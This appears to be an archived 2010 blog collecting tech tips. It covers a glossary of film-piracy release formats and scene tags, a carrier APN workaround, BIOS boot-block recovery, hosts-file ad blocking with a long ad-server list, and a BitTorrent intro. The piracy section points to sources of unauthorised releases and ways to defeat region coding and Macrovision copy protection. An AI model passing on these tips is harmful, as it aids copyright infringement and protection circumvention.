VCD is an mpeg1 based format, with a constant bitrate of 1150kbit at a resolution of 352x240 (NTCS). VCDs are generally used for lower quality transfers (CAM/TS/TC/Screener(VHS)/TVrip(analogue) in order to make smaller file sizes, and fit as much on a single disc as possible. Both VCDs and SVCDs are timed in minutes, rather than MB, so when looking at an mpeg, it may appear larger than the disc capacity, and in reality u can fit 74min on a CDR74.

SVCD -
SVCD is an mpeg2 based (same as DVD) which allows variable bit-rates of up to 2500kbits at a resolution of 480x480 (NTSC) which is then decompressed into a 4:3 aspect ratio when played back. Due to the variable bit-rate, the length you can fit on a single CDR is not fixed, but generally between 35-60 Mins are the most common. To get a better SVCD encode using variable bit-rates, it is important to use multiple "passes". this takes a lot longer, but the results are far clearer.

XVCD/XSVCD -
These are basically VCD/SVCD that don't obey the "rules". They are both capable of much higher resolutions and bit-rates, but it all depends on the player to whether the disc can be played. X(S)VCD are total non-standards, and are usually for home-ripping by people who don't intend to release them.

KVCD Thanks for lardo4life for the info
KVCD is a modification to the standard MPEG-1 and MPEG-2 GOP structure and Quantization Matrix. It enables you to create over 120 minutes of near DVD quality video, depending on your material, on a single 80 minute CD-R/CD-RW. We have published these specifications as KVCDx3, our official resolution, which produce 528x480 (NTSC) and 528x576 (PAL) MPEG-1 variable bit rate video, from 64Kbps to 3,000Kbps. Using a resolution of 352x240 (NTSC) or 352x288 (PAL), it's possible to encode video up to ~360 minutes of near VCD quality on a single 80 minute CD-R. The mpeg files created will play back in most modern standalone DVD players. You must burn the KVCD MPEG files as non-standard VCD or non-standard SVCD (depends on your player) with Nero or VCDEasy.

DivX / XviD -
DivX is a format designed for multimedia platforms. It uses two codecs, one low motion, one high motion. most older films were encoded in low motion only, and they have problems with high motion too. A method known as SBC (Smart Bit-rate Control) was developed which switches codecs at the encoding stage, making a much better print. The format is Ana orphic and the bit-rate/resolution are interchangeable. Due to the higher processing power required, and the different codecs for playback, its unlikely we'll see a DVD player capable of play DivX for quite a while, if at all. There have been players in development which are supposedly capable, but nothing has ever arisen. The majority of PROPER DivX rips (not Re-Encs) are taken from DVDs, and generally up to 2hours in good quality is possible per disc. Various codecs exist, most popular being the original Divx3.11a and the new XviD codecs.

CVD -
CVD is a combination of VCD and SVCD formats, and is generally supported by a majority of DVD players. It supports MPEG2 bit-rates of SVCD, but uses a resolution of 352x480(ntsc) as the horizontal resolution is generally less important. Currently no groups release in CVD.

DVD-R -
Is the recordable DVD solution that seems to be the most popular (out of DVD-RAM, DVD-R and DVD+R). it holds 4.7gb of data per side, and double sided discs are available, so discs can hold nearly 10gb in some circumstances. SVCD mpeg2 images must be converted before they can be burnt to DVD-R and played successfully. DVD>DVDR copies are possible, but sometimes extras/languages have to be removed to stick within the available 4.7gb.

MiniDVD -
MiniDVD/cDVD is the same format as DVD but on a standard CDR/CDRW. Because of the high resolution/bit-rates, its only possible to fit about 18-21 mins of footage per disc, and the format is only compatible with a few players.

Misc Info

Regional Coding -
This was designed to stop people buying American DVDs and watching them earlier in other countries, or for older films where world distribution is handled by different companies. A lot of players can either be hacked with a chip, or via a remote to disable this.

RCE -
RCE (Regional Coding Enhancement) was designed to overcome "Multiregion" players, but it had a lot of faults and was overcome. Very few titles are RCE encoded now, and it was very unpopular.

Macrovision -
Macrovision is the copy protection employed on most commercial DVDs. Its a system that will display lines and darken the images of copies that are made by sending the VHS signals it can't understand. Certain DVD players (for example the Dansai 852 from Tescos) have a secret menu where you can disable the macrovision, or a "video stabaliser" costs about 30UKP from Maplin (www.maplin.co.uk)

NTSC/PAL -
NTSC and PAL are the two main standards used across the world. NTSC has a higher frame rate than pal (29fps compared to 25fps) but PAL has an increased resolution, and gives off a generally sharper picture. Playing NTSC discs on PAL systems seems a lot easier than vice-versa, which is good news for the Brits An RGB enabled scart lead will play an NTSC picture in full colour on most modern tv sets, but to record this to a VHS tape, you will need to convert it to PAL50 (not PAL60 as the majority of DVD players do.) This is either achieved by an expensive converter box (in the regions of £200+) an onboard converter (such as the Dansai 852 / certain Daewoos / Samsung 709 ) or using a World Standards VCR which can record in any format.

News Sites -
There are generally 2 news sites for film release for p2p and they are:

nforce - VCD Help
Code:
http://www.vcdhelp.com/

Code:
http://www.nforce.nl.

About Release Files

RARset -
The movies are all supplied in RAR form, whether its v2 (rar>.rxx) or v3 (part01.rar > partxx.rar) form.

BIN/CUE -
VCD and SVCD films will extract to give a BIN/CUE. Load the .CUE into notepad and make sure the first line contains only a filename, and no path information. Then load the cue into Nero/CDRWin etc and this will burn the VCD/SVCD correctly. TV rips are released as MPEG. DivX files are just the plain DivX - .AVI

NFO -
An NFO file is supplied with each movie to promote the group, and give general iNFOrmation about the release, such as format, source, size, and any notes that may be of use. They are also used to recruit members and acquire hardware for the group.

SFV -
Also supplied for each disc is an SFV file. These are mainly used on site level to check each file has been uploaded correctly, but are also handy for people downloading to check they have all the files, and the CRC is correct. A program such as pdSFV or hkSFV is required to use these files.

Usenet Information

Access -
To get onto newsgroups, you will need a news server. Most ISPs supply one, but this is usually of poor retention (the amount of time the files are on server for) and poor completition (the amount of files that make it there). For the best service, a premium news server should be paid for, and these will often have bandwidth restrictions in place.

Software -
You will need a newsreader to access the files in the binary newsgroups. There are many different readers, and its usually down to personal opinion which is best. Xnews / Forte Agent / BNR 1 / BNR 2 are amongst the popular choices. Outlook has the ability to read newsgroups, but its recommended to not use that.

Format -
Usenet posts are often the same as those listed on VCDQUALiTY (i.e., untouched group releases) but you have to check the filenames and the description to make sure you get what you think you are getting. Generally releases should come down in .RAR sets. Posts will usually take more than one day to be uploaded, and can be spread out as far as a week.

PAR files -
As well as the .rxx files, you will also see files listed as .pxx/.par . These are PARITY files. Parity files are common in usenet posts, as a lot of times, there will be at least one or two damaged files on some servers. A parity file can be used to replace ANY ONE file that is missing from the rar set. The more PAR files you have, the more files you can replace. You will need a program called SMARTPAR for this.

Scene Tags

PROPER -
Due to scene rules, whoever releases the first Telesync has won that race (for example). But if the quality of that release is fairly poor, if another group has another telesync (or the same source in higher quality) then the tag PROPER is added to the folder to avoid being duped. PROPER is the most subjective tag in the scene, and a lot of people will generally argue whether the PROPER is better than the original release. A lot of groups release PROPERS just out of desperation due to losing the race. A reason for the PROPER should always be included in the NFO.

SUBBED -
In the case of a VCD, if a release is subbed, it usually means it has hard encoded subtitles burnt throughout the movie. These are generally in malaysian/chinese/thai etc, and sometimes there are two different languages, which can take up quite a large amount of the screen. SVCD supports switch able subtitles, so some DVDRips are released with switch able subs. This will be mentioned in the NFO file if included.

UNSUBBED -
When a film has had a subbed release in the past, an Unsubbed release may be released

LIMITED -
A limited movie means it has had a limited theater run, generally opening in less than 250 theaters, generally smaller films (such as art house films) are released as limited.

INTERNAL -
An internal release is done for several reasons. Classic DVD groups do a lot of .INTERNAL. releases, as they wont be dupe'd on it. Also lower quality theater rips are done INTERNAL so not to lower the reputation of the group, or due to the amount of rips done already. An INTERNAL release is available as normal on the groups affiliate sites, but they can't be traded to other sites without request from the site ops. Some INTERNAL releases still trickle down to IRC/Newsgroups, it usually depends on the title and the popularity. Earlier in the year people referred to Centropy going "internal". This meant the group were only releasing the movies to their members and site ops. This is in a different context to the usual definition.

STV -
Straight To Video. Was never released in theaters, and therefore a lot of sites do not allow these.

OTHER TAGS -

*WS* for widescreen (letterbox)
*FS* for Fullscreen.

RECODE -
A recode is a previously released version, usually filtered through TMPGenc to remove subtitles, fix color etc. Whilst they can look better, its not looked upon highly as groups are expected to obtain their own sources.

REPACK -
If a group releases a bad rip, they will release a Repack which will fix the problems.

NUKED -
A film can be nuked for various reasons. Individual sites will nuke for breaking their rules (such as "No Telesyncs") but if the film has something extremely wrong with it (no soundtrack for 20mins, CD2 is incorrect film/game etc) then a global nuke will occur, and people trading it across sites will lose their credits. Nuked films can still reach other sources such as p2p/usenet, but its a good idea to check why it was nuked first in case. If a group realise there is something wrong, they can request a nuke.

NUKE REASONS :: this is a list of common reasons a film can be nuked for (generally DVDRip)

** BAD A/R ** :: bad aspect ratio, ie people appear too fat/thin
** BAD IVTC ** :: bad inverse telecine. process of converting framerates was incorrect.
** INTERLACED ** :: black lines on movement as the field order is incorrect.

DUPE -
Dupe is quite simply, if something exists already, then theres no reason for it to exist again without proper reason.

2010-11-25T00:39:00.002-08:00

Accessing The Entire Internet On Your 3 Phone, U8110, E616 etc.

If you have a phone thats with the provider 3 theres a simple trick to allow you to access the entire internet on its browser without having to go through 3 services and only what they want to allow you access to view.

Simply do the following.

Menu - 9 (for settings) - 5 (for access points) - Edit the 3 Services
Change the APN (down the bottom) from 3services to 3netaccess
Restart the phone
And you can now access the entire internet through your phones browser.

Remember you'll have to change it back if you want to access 3 services.
Changing it in the browser doesn't seem to work.

I have tried this on my U8110 and it worked perfectly

Things to note:

* Remember that you are charged for all downloads (.4c per kb on most plans) so if your cautious about your phone bill id advise staying away from sites with loads of pictures.
* Also, some people have had trouble where they have accessed a site with too much information on it and the phone has either froze or reset. The phone is not harmed by this but its advisable you dont go to large sites on it for this or the above reason. If your phone freezes and you cant turn it off simply take the battery out and put it back in.

2010-11-25T00:39:00.001-08:00

Boot Block Recovery For Free

You don't need to pay a measly sum of dollars just to recover from a boot block mode. Here it is folks:

AWARD Bootblock recovery:

That shorting trick should work if the boot block code is not corrupted, and it should not be if /sb switch is used when flashing the bios (instead of /wb switch).

The 2 pins to short to force a checksum error varies from chip to chip. But these are usually the highest-numbered address pins (A10 and above).

These are the pins used by the system to read the System BIOS (original.bin for award v6), calculate the ROM checksum and see if it's valid before decompressing it into memory, and subsequently allow Bootblock POST to pass control over to the System BIOS.

You just have to fool the system into believing that the System BIOS is corrupt. This you do by giving your system a hard time reading the System BIOS by shorting the 2 high address pins. And when it could not read the System BIOS properly, ROM Checksum Error is detected "so to speak" and Bootblock recovery is activated.

Sometimes, any combination of the high address pins won't work to force a checksum error in some chips, like my Winbond W49F002U. But shorting the #WE pin with the highest-numbered address pin (A17) worked for this chip. You just have to be experimentative if you're not comfortable with "hot flashing" or "replacement BIOS".

But to avoid further damage to your chip if you're not sure which are the correct pins to short, measure the potential between the 2 pins by a voltmeter while the system is on. If the voltage reading is zero (or no potential at all), it is safe to short these pins.

But do not short the pins while the system is on. Instead, power down then do the short, then power up while still shorting. And as soon as you hear 3 beeps (1 long, 2 short), remove the short at once so that automatic reflashing from Drive A can proceed without errors (assuming you had autoexec.bat in it).

About how to do the shorting, the tip of a screwdriver would do. But with such minute pins on the PLCC chip, I'm pretty comfortable doing it with the tip of my multi-tester or voltmeter probe. Short the pins at the point where they come out of the chip.

AMIBIOS Recovery bootblock:
1. Copy a known working BIOS image for your board to a floppy and rename it to AMIBOOT.ROM.
2. Insert the floppy in your system's floppydrive.
3. Power on the system while holding CTRL+Home keys. Release the keys when you hear a beep and/or see the floppy light coming on.
4 . Just wait until you hear 4 beeps. When 4 beeps are heard the reprogramming of the System Block BIOS went succesfull, so then you may restart your system.

Some alternative keys that can be used to force BIOS update (only the System Block will be updated so it's quite safe):
CTRL+Home= restore missing code into system block and clear CMOS when programming went ok.
CTRL+Page Up= restore missing code into system block and clear CMOS or DMI when programming went ok.
CTRL+Page Down= restore missing code into system block and do not clear CMOS and DMI area when programming went ok
Btw: the alternative keys work only with AMIBIOS 7 or higher (so for example an AMI 6.26 BIOS can be only recovered by using CTRL+Home keys).
Boot Block Recovery for FREE

************************************************
BLACKOUT Flashing
*************************************************

Recovering a Corrupt AMI BIOS chip
With motherboards that use BOOT BLOCK BIOS it is possible to recover a corrupted BIOS because the BOOT BLOCK section of the BIOS, which is responsible for booting the computer remains unmodified. When an AMI BIOS becomes corrupt the system will appear to start, but nothing will appear on the screen, the floppy drive light will come on and the system will access the floppy drive repeatedly. If your motherboard has an ISA slot and you have an old ISA video card lying around, put the ISA video card in your system and connect the monitor. The BOOT BLOCK section of the BIOS only supports ISA video cards, so if you do not have an ISA video card or your motherboard does not have ISA slots, you will have to restore your BIOS blind, with no monitor to show you what’s going on.

AMI has integrated a recovery routine into the BOOT BLOCK of the BIOS, which in the event the BIOS becomes corrupt can be used to restore the BIOS to a working state. The routine is called when the SYSTEM BLOCK of the BIOS is empty. The restore routine will access the floppy drive looking for a BIOS file names AMIBOOT.ROM, this is why the floppy drive light comes on and the drive spins. If the file is found it is loaded into the SYSTEM BLOCK of the BIOS to replace the missing information. To restore your BIOS simply copy a working BIOS file to a floppy diskette and rename it AMIBOOT.ROM, then insert it into the computer while the power is on. The diskette does not need to be bootable or contain a flash utility. After about four minutes the system will beep four times. Remove the floppy diskette from the drive and reboot the computer. The BIOS should now be restored.

Recovering a Corrupt AWARD BIOS
With AWARD BIOS the process is similar but still a bit different. To recover an AWARD BIOS you will need to create a floppy diskette with a working BIOS file in .BIN format, an AWARD flash utility and an AUTOEXEC.BAT file. AWARD BIOS will not automatically restore the BIOS information to the SYSTEM BLOCK for this reason you will need to add the commands necessary to flash the BIOS in the AUTOEXEC.BAT file. The system will run the AUTOEXE.BAT file, which will in turn flash the BIOS. This is fairly easy. Here are the steps you need to take.

· Create a bootable floppy diskette
· Copy the BIOS file and flash utility to the diskette
· Create an text file with any standard text editor and add the following lines

@ECHO OFF
FLASH763 BIOSFILE.BIN /py

In the above example I am assuming that you are using the FLASH763.EXE flash utility. You will need to replace the FLASH763 with the name of whatever flash utility you are using, and replace the BIOSFILE.BIN with the name of the BIOS file you are using. You will also need to change the ‘/py’ to whatever the command is for your flash utility to automatically program the BIOS without user intervention. If you do not know the command to automatically flash your BIOS type the name of the flash utility with a space and then /? to display the utility’s help screen. The help screen should pecify the command switch to automatically flash your BIOS. If you are using the FLASH763.EXE utility then the switch to automatically flash your BIOS is ‘/py’.

2010-11-25T00:38:00.002-08:00

Block Adservers

If you wanna remove those nasty ads from the pages which waste lot of time and bandwidth then here is something for you I belive it will help you a lot

how it works
It's possible to set up a name server as authoritative for any domain you choose, allowing you to specify the DNS records for that domain. You can also configure most computers to be sort of mini-nameservers for themselves, so that they check their own DNS records before asking a nameserver. Either way, you get to say what hostname points to what IP address. If you haven't guessed already, the way you block ads it to provide bogus information about the domains we don't want to see - ie, all those servers out there that dedicate their existence to spewing out banner ads.

The hosts file

Probably the most common way people block ads like this is with something called the "hosts file". The hosts file is a simple list of hostnames and their corresponding IP addresses, which your computer looks at every time you try and contact a previously unknown hostname. If it finds an entry for the computer you're trying to reach, it sets the IP address for that computer to be whatever's in the hosts file.

127.0.0.1 is a special IP address which, to a computer, always means that computer. Any time a machine sends a network request to 127.0.0.1, it is talking to itself. This is very useful when it comes to blocking ads, because all we have to do is specify the IP address of any ad server to be 127.0.0.1. And to do that, all we have to do is edit the hosts file. What will happen then is something like this:

1. you visit a web page
2. the web page contains a banner ad stored on the server "ads.example.com"
3. your computer says "ads.example.com? never heard of it. wait a second, let's see if I've got the number on me..."
4. your computer finds its hosts file and checks to see if ads.example.com is listed
5. it finds the hostname, which points to 127.0.0.1
6. "great", says the computer, and sends off a request to 127.0.0.1 for the banner ad that's supposed to be on the page
7. "oh", says the computer, and fails to show anything because it just sent a request to itself for a banner ad

Where's my hosts file?

* Windows 95 / 98 / ME: C:\Windows (I think)
* Windows NT: C:\WinNT\hosts
* Windows 2000: C:\WinNT\system32\drivers\etc\
* Windows XP: C:\Windows\System32\drivers\etc
* FreeBSD / Linux / Mac OS X / Unixish operating systems: /etc/hosts
* Classic Mac OS: please read this helpful information submitted by David "iNerd" B
* Mac OS 9: Marcia Skidmore sent in details that hopefully explain what you need to know

The format of the hosts file is very simple - IP address, whitespace, then a list of hostnames (except for older Macs; please see above). However, you don't need to know anything about the format if you don't want to as you can just view the list hosts file.

Of course, that's not the only way to use the list, but it's probably the most simple for most people.

here is the hosts list which are serving you the ads just append it to your hosts file and enjoy ad free surfing makes things faster. if you want ad from certain site then just remove it from the list below.

QUOTE
127.0.0.1 007arcadegames.com
127.0.0.1 101order.com
127.0.0.1 123banners.com
127.0.0.1 123found.com
127.0.0.1 180searchassistant.com
127.0.0.1 180solutions.com
127.0.0.1 247media.com
127.0.0.1 247realmedia.com
127.0.0.1 24pm-affiliation.com
127.0.0.1 2log.com
127.0.0.1 2o7.net
127.0.0.1 4affiliate.net
127.0.0.1 4d5.net
127.0.0.1 7adpower.com
127.0.0.1 911promotion.com
127.0.0.1 a-counter.kiev.ua
127.0.0.1 a.consumer.net
127.0.0.1 a.gismeteo.ru
127.0.0.1 a.mktw.net
127.0.0.1 a.r.tv.com
127.0.0.1 a.xanga.com
127.0.0.1 a32.g.a.yimg.com
127.0.0.1 aaddzz.com
127.0.0.1 abcnews.footprint.net
127.0.0.1 abetterinternet.com
127.0.0.1 abz.com
127.0.0.1 ac.rnm.ca
127.0.0.1 accelerator-media.com
127.0.0.1 accipiter.speedera.net
127.0.0.1 action.ientry.net
127.0.0.1 actionsplash.com
127.0.0.1 actualdeals.com
127.0.0.1 ad-annex.com
127.0.0.1 ad-flow.com
127.0.0.1 ad-images.suntimes.com
127.0.0.1 ad-logics.com
127.0.0.1 ad-rotator.com
127.0.0.1 ad-server.gulasidorna.se
127.0.0.1 ad-souk.com
127.0.0.1 ad-space.net
127.0.0.1 ad-tech.com
127.0.0.1 ad-universe.com
127.0.0.1 ad-up.com
127.0.0.1 ad.100.tbn.ru
127.0.0.1 ad.37.com
127.0.0.1 ad.4web.cz
127.0.0.1 ad.71i.de
127.0.0.1 ad.a8.net
127.0.0.1 ad.abcnews.com
127.0.0.1 ad.abctv.com
127.0.0.1 ad.about.com
127.0.0.1 ad.aboutit.de
127.0.0.1 ad.aboutwebservices.com
127.0.0.1 ad.aftonbladet.se
127.0.0.1 ad.allstar.cz
127.0.0.1 ad.altervista.org
127.0.0.1 ad.asap-asp.net
127.0.0.1 ad.bondage.com
127.0.0.1 ad.centrum.cz
127.0.0.1 ad.cgi.cz
127.0.0.1 ad.chip.de
127.0.0.1 ad.clix.pt
127.0.0.1 ad.digitallook.com
127.0.0.1 ad.directconnect.se
127.0.0.1 ad.disney.go.com
127.0.0.1 ad.domainfactory.de
127.0.0.1 ad.dvdforum.nu
127.0.0.1 ad.e-kolay.net
127.0.0.1 ad.e-not.net
127.0.0.1 ad.eurosport.com
127.0.0.1 ad.ezpeer.com
127.0.0.1 ad.fido.net
127.0.0.1 ad.fragzone.se
127.0.0.1 ad.free6.com
127.0.0.1 ad.grafika.cz
127.0.0.1 ad.harmony-central.com
127.0.0.1 ad.hbv.de
127.0.0.1 ad.howstuffworks.com
127.0.0.1 ad.hyena.cz
127.0.0.1 ad.iinfo.cz
127.0.0.1 ad.ilse.nl
127.0.0.1 ad.img.yahoo.co.kr
127.0.0.1 ad.infoseek.com
127.0.0.1 ad.investopedia.com
127.0.0.1 ad.ir.ru
127.0.0.1 ad.itmedia.co.jp
127.0.0.1 ad.jetsoftware.com
127.0.0.1 ad.keenspace.com
127.0.0.1 ad.krutilka.ru
127.0.0.1 ad.leadcrunch.com
127.0.0.1 ad.linx.cz
127.0.0.1 ad.liveinternet.ru
127.0.0.1 ad.lupa.cz
127.0.0.1 ad.mediastorm.hu
127.0.0.1 ad.mgd.de
127.0.0.1 ad.moscowtimes.ru
127.0.0.1 ad.musicmatch.com
127.0.0.1 ad.mwizard.net
127.0.0.1 ad.nachtagenten.de
127.0.0.1 ad.nozonedata.com
127.0.0.1 ad.nrk.no
127.0.0.1 ad.pbs.bb.ru
127.0.0.1 ad.playground.ru
127.0.0.1 ad.preferances.com
127.0.0.1 ad.rambler.ru
127.0.0.1 ad.reunion.com
127.0.0.1 ad.seznam.cz
127.0.0.1 ad.simgames.net
127.0.0.1 ad.spieletips.de
127.0.0.1 ad.suprnova.org
127.0.0.1 ad.surfsecret.com
127.0.0.1 ad.sweclockers.com
127.0.0.1 ad.t2t2.com
127.0.0.1 ad.tbn.ru
127.0.0.1 ad.tiscali.com
127.0.0.1 ad.tisnet.net.tw
127.0.0.1 ad.tomshardware.com
127.0.0.1 ad.top50.to
127.0.0.1 ad.tv2.no
127.0.0.1 ad.tweakpc.de
127.0.0.1 ad.uk.tangozebra.com
127.0.0.1 ad.uol.com.br
127.0.0.1 ad.usatoday.com
127.0.0.1 ad.way.cz
127.0.0.1 ad.wz.cz
127.0.0.1 ad.yadro.ru
127.0.0.1 ad.yieldmanager.com
127.0.0.1 ad.yourmedia.com
127.0.0.1 ad01.mediacorpsingapore.com
127.0.0.1 ad1.emediate.dk
127.0.0.1 ad1.gamezone.com
127.0.0.1 ad1.hardware.no
127.0.0.1 ad1.kde.cz
127.0.0.1 ad1.lbe.ru
127.0.0.1 ad1.outpost.com
127.0.0.1 ad1.zendmedia.com
127.0.0.1 ad2.atlas.cz
127.0.0.1 ad2.bb.ru
127.0.0.1 ad2.insitemedia.hu
127.0.0.1 ad2.lbe.ru
127.0.0.1 ad2.linx.cz
127.0.0.1 ad2.linxcz.cz
127.0.0.1 ad2.lupa.cz
127.0.0.1 ad2.mamma.com
127.0.0.1 ad2.seznam.cz
127.0.0.1 ad2.tisnet.net.tw
127.0.0.1 ad3.tisnet.net.tw
127.0.0.1 ad4.atlas.cz
127.0.0.1 ad4.tisnet.net.tw
127.0.0.1 ad41.atlas.cz
127.0.0.1 ad4ex.com
127.0.0.1 adbanner.ro
127.0.0.1 adboost.de.vu
127.0.0.1 adbot.com
127.0.0.1 adbot.theonion.com
127.0.0.1 adbrite.com
127.0.0.1 adbureau.net
127.0.0.1 adbutler.com
127.0.0.1 adbutler.de
127.0.0.1 adcell.de
127.0.0.1 adcenter.mdf.se
127.0.0.1 adcenter.net
127.0.0.1 adcentriconline.com
127.0.0.1 adcept.net
127.0.0.1 adclick.com
127.0.0.1 adclick.gamespy.com
127.0.0.1 adclick.mint.se
127.0.0.1 adclick.ro
127.0.0.1 adclient.rottentomatoes.com
127.0.0.1 adclient1.tucows.com
127.0.0.1 adcomplete.com
127.0.0.1 adcontent.gamespy.com
127.0.0.1 adcontroller.unicast.com
127.0.0.1 adcreative.tribuneinteractive.com
127.0.0.1 adcycle.com
127.0.0.1 adcycle.icpeurope.net
127.0.0.1 addcontrol.net
127.0.0.1 addesktop.com
127.0.0.1 addfreestats.com
127.0.0.1 addme.com
127.0.0.1 addynamix.com
127.0.0.1 adengage.com
127.0.0.1 adext.inkclub.com
127.0.0.1 adfarm.mediaplex.com
127.0.0.1 adfiles.api.no
127.0.0.1 adflight.com
127.0.0.1 adfly.com
127.0.0.1 adhostcenter.com
127.0.0.1 adi.mainichi.co.jp
127.0.0.1 adimage.asiaone.com.sg
127.0.0.1 adimages.been.com
127.0.0.1 adimages.carsoup.com
127.0.0.1 adimages.go.com
127.0.0.1 adimages.homestore.com
127.0.0.1 adimages.sanomawsoy.fi
127.0.0.1 adimg.cnet.com
127.0.0.1 adimg.com.com
127.0.0.1 adimg1.chosun.com
127.0.0.1 adimgs.sapo.pt
127.0.0.1 adincl.gopher.com
127.0.0.1 adition.de
127.0.0.1 adition.net
127.0.0.1 adjuggler.yourdictionary.com
127.0.0.1 adlegend.com
127.0.0.1 adlink.de
127.0.0.1 adlog.com.com
127.0.0.1 adlogix.net
127.0.0.1 adm.ad.asap-asp.net
127.0.0.1 adman.freeze.com
127.0.0.1 admanagement.ch
127.0.0.1 admanager.beweb.com
127.0.0.1 admanager.btopenworld.com
127.0.0.1 admanager.carsoup.com
127.0.0.1 admanager.persianblog.com
127.0.0.1 admaximize.com
127.0.0.1 admedia.ro
127.0.0.1 admeta.com
127.0.0.1 admex.com
127.0.0.1 adminder.com
127.0.0.1 adminshop.com
127.0.0.1 admonitor.com
127.0.0.1 admonitor.net
127.0.0.1 admotion.com.ar
127.0.0.1 adnet.biz
127.0.0.1 adnews.maddog2000.de
127.0.0.1 ado.internet.cz
127.0.0.1 adorigin.com
127.0.0.1 adpepper.dk
127.0.0.1 adpick.switchboard.com
127.0.0.1 adprofile.net
127.0.0.1 adprojekt.pl
127.0.0.1 adpush.dreamscape.com
127.0.0.1 adq.nextag.com
127.0.0.1 adremedy.com
127.0.0.1 adremote.pathfinder.com
127.0.0.1 adrenaline.cz
127.0.0.1 adrenalinesk.sk
127.0.0.1 adreporting.com
127.0.0.1 adres.internet.com
127.0.0.1 adrevolver.com
127.0.0.1 adrevolver.holzmannverlag.de
127.0.0.1 adriver.ru
127.0.0.1 adroar.com
127.0.0.1 adrotate.de
127.0.0.1 adrotator.net
127.0.0.1 ads-205.quarterserver.de
127.0.0.1 ads-de.spray.net
127.0.0.1 ads.100asians.com
127.0.0.1 ads.5ci.lt
127.0.0.1 ads.aceweb.net
127.0.0.1 ads.adshareware.net
127.0.0.1 ads.adultfriendfinder.com
127.0.0.1 ads.advance.net
127.0.0.1 ads.adverline.com
127.0.0.1 ads.affiliates.match.com
127.0.0.1 ads.allsites.com
127.0.0.1 ads.alwayson-network.com
127.0.0.1 ads.amazingmedia.com
127.0.0.1 ads.amdmb.com
127.0.0.1 ads.aol.com
127.0.0.1 ads.as4x.tmcs.net
127.0.0.1 ads.asia1.com.sg
127.0.0.1 ads.asiafriendfinder.com
127.0.0.1 ads.aspalliance.com
127.0.0.1 ads.battle.net
127.0.0.1 ads.belointeractive.com
127.0.0.1 ads.berlinonline.de
127.0.0.1 ads.betanews.com
127.0.0.1 ads.bfast.com
127.0.0.1 ads.bigcitytools.com
127.0.0.1 ads.bigfoot.com
127.0.0.1 ads.billiton.de
127.0.0.1 ads.bitsonthewire.com
127.0.0.1 ads.blick.ch
127.0.0.1 ads.bloomberg.com
127.0.0.1 ads.bluemountain.com
127.0.0.1 ads.box.sk
127.0.0.1 ads.businessweek.com
127.0.0.1 ads.canalblog.com
127.0.0.1 ads.canoe.ca
127.0.0.1 ads.cavello.com
127.0.0.1 ads.cbc.ca
127.0.0.1 ads.cdfreaks.com
127.0.0.1 ads.centraliprom.com
127.0.0.1 ads.cgnetworks.com
127.0.0.1 ads.channel4.com
127.0.0.1 ads.cimedia.com
127.0.0.1 ads.clearchannel.com
127.0.0.1 ads.collegclub.com
127.0.0.1 ads.com.com
127.0.0.1 ads.currantbun.com
127.0.0.1 ads.cyberfight.ru
127.0.0.1 ads.cybersales.cz
127.0.0.1 ads.danworld.net
127.0.0.1 ads.datingyes.com
127.0.0.1 ads.dbforums.com
127.0.0.1 ads.ddj.com
127.0.0.1 ads.deltha.hu
127.0.0.1 ads.dennisnet.co.uk
127.0.0.1 ads.desmoinesregister.com
127.0.0.1 ads.detelefoongids.nl
127.0.0.1 ads.developershed.com
127.0.0.1 ads.deviantart.com
127.0.0.1 ads.digitalmedianet.com
127.0.0.1 ads.digitalpoint.com
127.0.0.1 ads.directionsmag.com
127.0.0.1 ads.discovery.com
127.0.0.1 ads.dk
127.0.0.1 ads.dmk-internet.com
127.0.0.1 ads.e-planning.net
127.0.0.1 ads.edbindex.dk
127.0.0.1 ads.einmedia.com
127.0.0.1 ads.erotism.com
127.0.0.1 ads.esmas.com
127.0.0.1 ads.eu.msn.com
127.0.0.1 ads.eudora.com
127.0.0.1 ads.exhedra.com
127.0.0.1 ads.ezboard.com
127.0.0.1 ads.fairfax.com.au
127.0.0.1 ads.filmup.com
127.0.0.1 ads.firingsquad.com
127.0.0.1 ads.flooble.com
127.0.0.1 ads.floridatoday.com
127.0.0.1 ads.fool.com
127.0.0.1 ads.forbes.com
127.0.0.1 ads.forbes.net
127.0.0.1 ads.forium.de
127.0.0.1 ads.fortunecity.com
127.0.0.1 ads.foxkidseurope.net
127.0.0.1 ads.freecity.de
127.0.0.1 ads.freeze.com
127.0.0.1 ads.friendtest.com
127.0.0.1 ads.ft.com
127.0.0.1 ads.g4techtv.com
127.0.0.1 ads.game.net
127.0.0.1 ads.gamecity.net
127.0.0.1 ads.gamecopyworld.no
127.0.0.1 ads.gameforgeads.de
127.0.0.1 ads.gamershell.com
127.0.0.1 ads.gamespy.com
127.0.0.1 ads.gamespyid.com
127.0.0.1 ads.gamigo.de
127.0.0.1 ads.gawker.com
127.0.0.1 ads.gettools.com
127.0.0.1 ads.globeandmail.com
127.0.0.1 ads.gotfrag.com
127.0.0.1 ads.goyk.com
127.0.0.1 ads.grindinggears.com
127.0.0.1 ads.guardian.co.uk
127.0.0.1 ads.guardianunlimited.co.uk
127.0.0.1 ads.hbv.de
127.0.0.1 ads.heartlight.org
127.0.0.1 ads.herald-sun.com
127.0.0.1 ads.hollywood.com
127.0.0.1 ads.humorbua.no
127.0.0.1 ads.iafrica.com
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2010-11-25T00:38:00.001-08:00

Bit Torrent Tutorials

The first things you need to know about using Bit Torrent:
-- Bit Torrent is aimed at broadband users (or any connection better than dialup).
-- Sharing is highly appreciated, and sharing is what keeps bit torrent alive.
-- A bit torrent file (*.torrent) contains information about the piece structure of the download (more on this later)
-- The method of downloading is not your conventional type of download. Since downloads do not come in as one
big chunk, you are able to download from many people at once, increasing your download speeds. There may be
100 "pieces" to a file, or 20,000+ pieces, all depending on what you're downloading. Pieces are usually small (under 200kb)
-- The speeds are based upon people sharing as they download, and seeders. Seeders are people who constantly
share in order to keep torrents alive. Usually seeders are on fast connections (10mb or higher).

In this tutorial, I will be describing it all using a bit torrent client called Azureus. This client is used to decode the .torrent files into a useable format to download from other peers. From here on out, I will refer to Bit Torrent as BT.

Which BT client you use, is purely up to you. I have tried them all, and my personal favorite is Azureus for many reasons. A big problem with most BT clients out there, is that they are extremely CPU intensive, usually using 100% of your cpu power during the whole process. This is the number one reason I use Azureus. Another, is a recently released plug-in that enables you to browse all current files listed on suprnova.org (the #1 source for torrent downloads).

